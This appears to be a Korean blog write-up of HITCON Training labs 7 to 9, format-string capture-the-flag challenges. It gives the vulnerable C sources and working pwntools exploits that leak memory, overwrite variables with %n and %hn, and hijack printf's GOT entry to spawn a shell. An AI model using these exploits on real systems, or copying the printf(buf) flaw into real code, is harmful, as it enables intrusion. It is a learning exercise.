Lab7
#include <stdio.h>
#include <unistd.h>
#include <time.h>
#include <stdlib.h>
unsigned int password ;
int main(){
setvbuf(stdout,0,2,0);
char buf[100];
char input[16];
int fd ;
srand(time(NULL));
fd = open("/dev/urandom",0);
read(fd,&password,4);
printf("What your name ? ");
read(0,buf,99);
printf("Hello ,");
printf(buf);
printf("Your password :");
read(0,input,15);
if(atoi(input) != password){
puts("Goodbyte");
}else{
puts("Congrt!!");
system("cat /home/crack/flag");
}
}
"printf(buf);" 에서 포맷스트링 취약점이 발생한다. 이를 이용하여 unsigned int password로 선언된 전역변수를 읽어 문제를 해결하도록 하겠다.
실행해보면, 우리가 입력한 값은 10번째에서 확인할 수 있다. 그렇다면 페이로드의 첫 4bytes는 password의 주소를 보내고 %s를 이용하면 해당 값을 읽을 수 있다. password 변수의 주소는 0x804a048이고 작성한 공격코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
passwd_addr = 0x804a048
p = process('./crack')
p.recvuntil('What your name ? ')
payload = b''
payload += p32(0x804a048)
payload += b".%x.%x.%x.%x.%x.%x.%x.%x.%x/%s"
p.send(payload)
p.recvuntil("/")
passwd = u32(p.recv(4))
p.recvuntil('Your password :')
log.info(passwd)
p.send(str(passwd))
p.recv(1024)
문제를 풀면서 테스트해본 결과, 위의 공격코드가 성공할 때도 있고 틀릴때도 있었다. 디버깅 결과, atoi() 함수에서 우리가 password라고 입력한 input값을 int형으로 바꾸는데 그 과정에서 리턴값이 0x7fffffff(=2147483647)으로 반환된다. 아마 atoi함수의 리턴값은 int형인데 unsigned int를 반환하려다 보니 이러한 현상이 생기는 것 같다.
Lab8
#include <stdio.h>
int magic = 0 ;
int main(){
char buf[0x100];
setvbuf(stdout,0,2,0);
puts("Please crax me !");
printf("Give me magic :");
read(0,buf,0x100);
printf(buf);
if(magic == 0xda){
system("cat /home/craxme/flag");
}else if(magic == 0xfaceb00c){
system("cat /home/craxme/craxflag");
}else{
puts("You need be a phd");
}
}
printf(buf)에서 포맷스트링 취약점이 발생한다. 문제를 해결하려면 전역변수 int magic을 0xda나 0xfaceb00c로 변경해야 한다. %n, %hn 형식지정자를 이용하여 magic을 덮어썼다.
from pwn import *
context.log_level = 'debug'
p = process('./craxme')
p.recvuntil('magic :')
magic = 0x804a038
payload = b''
payload += p32(magic)
payload += b'%188c'
payload += b'%x.%x.%x.%x.%x.%n'
pause()
p.sendline(payload)
log.info(p.recv(1024))
from pwn import *
context.log_level = 'debug'
#magic = 0xfaceb00c
p = process('./craxme')
p.recvuntil('magic :')
magic1 = 0x804a038
magic2 = 0x804a03a
payload = b''
payload += p32(magic1)
payload += p32(0x11111111)
payload += p32(magic2)
payload += b'%x.%x.%x.%x.%x.%45022c.%hn.%19136c.%hn'
pause()
p.sendline(payload)
log.info(p.recvall())
첫 번째는 magic 변수를 0xda로, 두 번째는 0xfaceb00c로 덮어쓴 공격코드다. 어려운 부분은 없었고, gdb로 디버깅하면서 %hn으로 덮어쓴 값이 얼마인지 확인하면서 원하는 값을 덮어썼다.
Lab9
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char buf[200] ;
void do_fmt(){
while(1){
read(0,buf,200);
if(!strncmp(buf,"quit",4))
break;
printf(buf);
}
return ;
}
void play(){
puts("=====================");
puts(" Magic echo Server");
puts("=====================");
do_fmt();
return;
}
int main(){
setvbuf(stdout,0,2,0);
play();
return;
}
위의 두 문제와 다른 형태여서 어떻게 공격하는지 생각하느라 푸는데 오래 걸렸다. lab7,8에서는 포맷스트링 취약점이 발생하는 변수 buf가 지역변수로 선언되었다. 우리가 입력한 값이 스택에 같이 존재하여 형식지정자를 통해 원하는 주소의 값을 읽거나 쓸 수 있었다. 하지만 lab9에서는 취약점이 발생하는 buf가 전역변수로 선언되어 우리가 원하는 값을 입력하여 조정할 수 없다.
문제를 해결하기위해, 공격 흐름을 다음과 같이 정했다.
- system() 함수의 주소 계산
- printf() 함수의 got를 system()으로 덮어쓰기 (Full RELRO가 아니기 때문에 가능)
- buf에 /bin/sh 입력
- 쉘 실행
하지만 우리는 원하는 주소를 입력하여 읽거나 쓸 수 없다. 생각한 것은, 이미 스택에 있는 주소를 통해 값을 덮어쓰는 것이다. 처음에는 0x0804로 시작하는 값을 덮어쓰면 어떤 함수의 주소일 것이므로 이를 system 함수로 실행할 수 있을 것 같았다. 하지만 인자를 전달하는 것이 어려울 것 같았다.
다른 자료들을 생각한 결과, double staged format string이라는 기법을 찾았다. 말은 거창한데, 원리는 되게 간단하다. 위에서 언급한 대로, 이미 스택에 존재하는 값을 이용하는 것이다. 예를 들어, 0xfffc2138 주소에 있는 0xfffc2148이라는 값에 취약점을 이용하여 우리가 원하는 값(printf's got)을 덮어쓰면 0xfffc2148 주소에 덮일 것이다. 그리고 다시 0xfffc2148 주소에 취약점을 이용하면 원하는 주소에 덮어쓸 수 있다. 이 방법을 통해 작성한 공격코드는 다음과 같다.
from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
#printf@got = 0x804a010
pause()
p.recvuntil('==\n')
#Get system's address
p.send('/%15$x/')
p.recvuntil('/')
dummy= int(p.recvuntil('/')[:-1], 16)
system_addr = dummy + 0x2694b
log.info('system: 0x%x' % system_addr)
#Set printf@got (0x804a010, 0x804a012)
p.send('%134520850c%6$n#')
p.recvuntil('#')
p.send('%134520848c%13$n*')
p.recvuntil('*')
#Calculate system()
system_high = system_addr >> 16
system_low = system_addr - system_high * 0x10000
#Overwrite printf@got (printf --> system)
if system_low > system_high:
payload = '%'+str(system_high)+'c'
payload += '%10$hn'
payload += '%'+str(system_low-system_high)+'c'
payload += '%20$hn_'
else:
payload = '%'+str(system_low)+'c'
payload += '%20$hn'
payload += '%'+str(system_high-system_low)+'c'
payload += '%10$hn_'
p.send(payload)
p.recvuntil('_')
#Send system's argv
p.send('/bin/sh\x00')
p.interactive()
가장 먼저, system() 함수의 주소를 구했다. system() 함수주소를 구한 기준 주소는 위의 사진을 참고했을 때, 0xf7d3fee5(__libc_start_main+245) 주소를 이용했다. 이후 구한 offset 계산을 통해 함수의 주소를 구했다.
두 번째로, printf()의 got 주소를 스택에 덮어썼다. 덮어쓴 주소는 0xfffc2148, 0xfffc2170이다. 이때 2개의 주소를 나누어 쓴 이유는 got 주소에 덮어쓸 때, %hn으로 2바이트로 나누어 저장하기 위해서다.
마지막으로는 printf()의 got를 system 함수로 덮어쓴다. 이때, %hn으로 나누기 때문에 system() 주소를 상위, 하위 2 bytes로 나눠주는 작업을 했다. 그리고 system 주소로 덮어쓰고, buf에 "/bin/sh\x00"을 입력하여 최종적으로 system("bin/sh"); 가 실행되게 했다.
아쉬운 점은, printf() 함수의 got 주소를 스택에 덮어쓸 때, %n을 이용하여 0x0804a010 만큼을 출력하기 때문에 시간이 오래 걸린다. 이를 해결하기 위해서는 스택에 덮어쓰기 전에, 0xfffc2148, 0xfffc2170의 하위 2바이트를 0x0804로 시작하는 값이 있는 주소로 덮어쓴다. 그리고 변경된 값이 가리키는 곳으로 printf() 함수의 got를 덮어쓴다. 그러면 %hn으로 해결할 수 있고 시간도 절약할 수 있다. 다음은 %hn으로 문제를 해결한 공격코드다.
from pwn import *
context.log_level = 'debug'
def getLowBytes(addr):
highBytes = addr >> 16
return addr - highBytes * 0x10000
p = process('./playfmt')
#printf@got = 0x804a010
pause()
p.recvuntil('==\n')
#Get system's address
p.send('/%15$x/')
p.recvuntil('/')
dummy= int(p.recvuntil('/')[:-1], 16)
system_addr = dummy + 0x2694b
log.info('system: 0x%x' % system_addr)
#First stage for overwrite printf@got
p.send('%6$x#')
dummy = int(p.recvuntil('#')[:-1], 16)
first_var = getLowBytes(dummy-24)
second_var = getLowBytes(dummy-28)
log.info('first_var= 0x%x' % first_var)
log.info('second_var=0x%x' % second_var)
p.send('%'+str(first_var)+'c%6$hn#')
p.recvuntil('#')
p.send('%'+str(second_var)+'c%22$hn*')
p.recvuntil('*')
#Set printf@got (0x804a010, 0x804a012)
p.send('%40976c%10$hn#')
p.recvuntil('#')
p.send('%40978c%59$hn*')
p.recvuntil('*')
#Calculate system()
system_high = system_addr >> 16
system_low = system_addr - system_high * 0x10000
#Overwrite printf@got (printf --> system)
if system_low > system_high:
payload = '%'+str(system_high)+'c'
payload += '%3$hn'
payload += '%'+str(system_low-system_high)+'c'
payload += '%4$hn_'
else:
payload = '%'+str(system_low)+'c'
payload += '%4$hn'
payload += '%'+str(system_high-system_low)+'c'
payload += '%3$hn_'
p.send(payload)
p.recvuntil('_')
#Send system's argv
p.send('/bin/sh\x00')
p.interactive()
'Security' 카테고리의 다른 글
House of Force, Unsafe Unlink (0) | 2020.12.28 |
---|---|
HITCON Training lab10 (first fit, uaf) (0) | 2020.12.22 |
BOF 중 scanf에 대한 글 (0) | 2020.11.13 |
HITCON Training lab6 (0) | 2020.11.04 |
HITCON Training lab4 ~ 5 (0) | 2020.10.30 |